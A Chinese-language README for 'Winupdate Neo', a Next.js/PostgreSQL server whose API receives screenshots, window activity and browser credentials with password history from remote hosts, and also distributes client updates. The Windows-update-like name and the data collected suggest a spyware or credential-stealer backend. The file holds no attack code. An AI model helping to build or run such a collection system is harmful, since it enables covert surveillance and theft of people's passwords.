Winupdate Neo
这是使用 Next.js + Prisma + PostgreSQL 重写的 Winupdate 项目的 API 部分。
技术栈
- 前端框架: Next.js 15
- 数据库: PostgreSQL + Prisma ORM
- 包管理器: Bun
- 文件存储: MinIO(替代 GridFS)
- 语言: TypeScript
项目结构
app/
├── api/ # API 路由
│ ├── hosts/
│ │ ├── route.ts # 主机列表 API
│ │ └── [hostname]/
│ │ ├── screenshots/
│ │ │ └── route.ts # 截图上传/获取 API
│ │ ├── credentials/
│ │ │ └── route.ts # 凭据管理 API
│ │ └── time-distribution/
│ │ └── route.ts # 时间分布统计 API
│ ├── screenshots/
│ │ └── [fileId]/
│ │ └── route.ts # 截图文件服务 API
│ ├── downloads/
│ │ └── [fileId]/
│ │ └── route.ts # 文件下载 API
│ ├── version/
│ │ └── route.ts # 版本信息 API
│ └── upload/
│ └── version/
│ └── route.ts # 版本上传 API
├── api-test/ # API 测试页面
└── ... # 其他 Next.js 文件
lib/
├── prisma.ts # Prisma 客户端配置
├── config.ts # 应用配置
├── fileStorage.ts # 文件存储工具
├── middleware.ts # 中间件工具
└── push.ts # 推送通知工具
prisma/
├── schema.prisma # 数据库模式
└── migrations/ # 数据库迁移文件
快速开始
1. 安装依赖
bun install
2. 配置环境变量
复制 .env.example 文件为 .env 并配置相应的设置:
cp .env.example .env
配置文件内容示例:
# Database
DATABASE_URL="postgresql://username:password@localhost:5432/winupdate_neo?schema=public"
# Auth
AUTH_USERNAME=admin
AUTH_PASSWORD=password
# Port
PORT=3000
# MinIO Configuration
MINIO_ENDPOINT=192.168.5.13
MINIO_PORT=9000
MINIO_USE_SSL=false
MINIO_ACCESS_KEY=your_access_key
MINIO_SECRET_KEY=your_secret_key
MINIO_BUCKET_NAME=winupdate
3. 初始化数据库
# 生成 Prisma 客户端
bun run db:generate
# 运行数据库迁移
bun run db:migrate
4. 启动开发服务器
bun run dev
API 端点
主机管理
GET /api/hosts- 获取主机列表POST /api/hosts/{hostname}/screenshots- 上传截图GET /api/hosts/{hostname}/screenshots- 获取截图记录GET /api/hosts/{hostname}/time-distribution- 获取时间分布统计
凭据管理
POST /api/hosts/{hostname}/credentials- 上传凭据GET /api/hosts/{hostname}/credentials- 获取凭据
文件服务
GET /api/screenshots/{fileId}- 获取截图文件GET /api/downloads/{fileId}- 下载文件
版本管理
GET /api/version- 获取最新版本信息POST /api/upload/version- 上传新版本
数据库模型
Host
- 主机基本信息(hostname, lastUpdate)
Record
- 截图记录(timestamp, windows, screenshots)
Window
- 窗口信息(title, path, memory)
Screenshot
- 截图文件信息(fileId, filename, monitorName)
Credential
- 凭据信息(hostname, username, browser, url, login)
Password
- 密码历史(value, timestamp)
Version
- 版本信息(version, fileId, checksum, isLatest)
与原项目的区别
- 数据库: 从 MongoDB 迁移到 PostgreSQL
- ORM: 使用 Prisma 替代 Mongoose
- 文件存储: 使用本地文件系统替代 GridFS
- 框架: 从 Express 迁移到 Next.js API Routes
- 包管理: 使用 Bun 替代 npm/yarn
开发工具
# 数据库相关
bun run db:generate # 生成 Prisma 客户端
bun run db:migrate # 运行数据库迁移
bun run db:reset # 重置数据库
bun run db:studio # 打开 Prisma Studio
# 开发
bun run dev # 启动开发服务器
bun run build # 构建生产版本
bun run start # 启动生产服务器
bun run lint # 代码检查
注意事项
- 文件存储在 MinIO 对象存储中,按分层结构组织
- 需要确保 PostgreSQL 数据库和 MinIO 服务正在运行
- 所有配置通过环境变量管理,包括数据库、认证和 MinIO 设置
- MinIO 需要预先创建对应的 bucket
- 推送通知功能目前只是控制台日志,可以根据需要集成真实的推送服务
API 兼容性
这个重写版本保持了与原始 Express 应用相同的 API 接口,确保客户端代码无需修改即可使用。
Description
Languages
TypeScript
95.9%
Batchfile
2.1%
JavaScript
1.7%
CSS
0.3%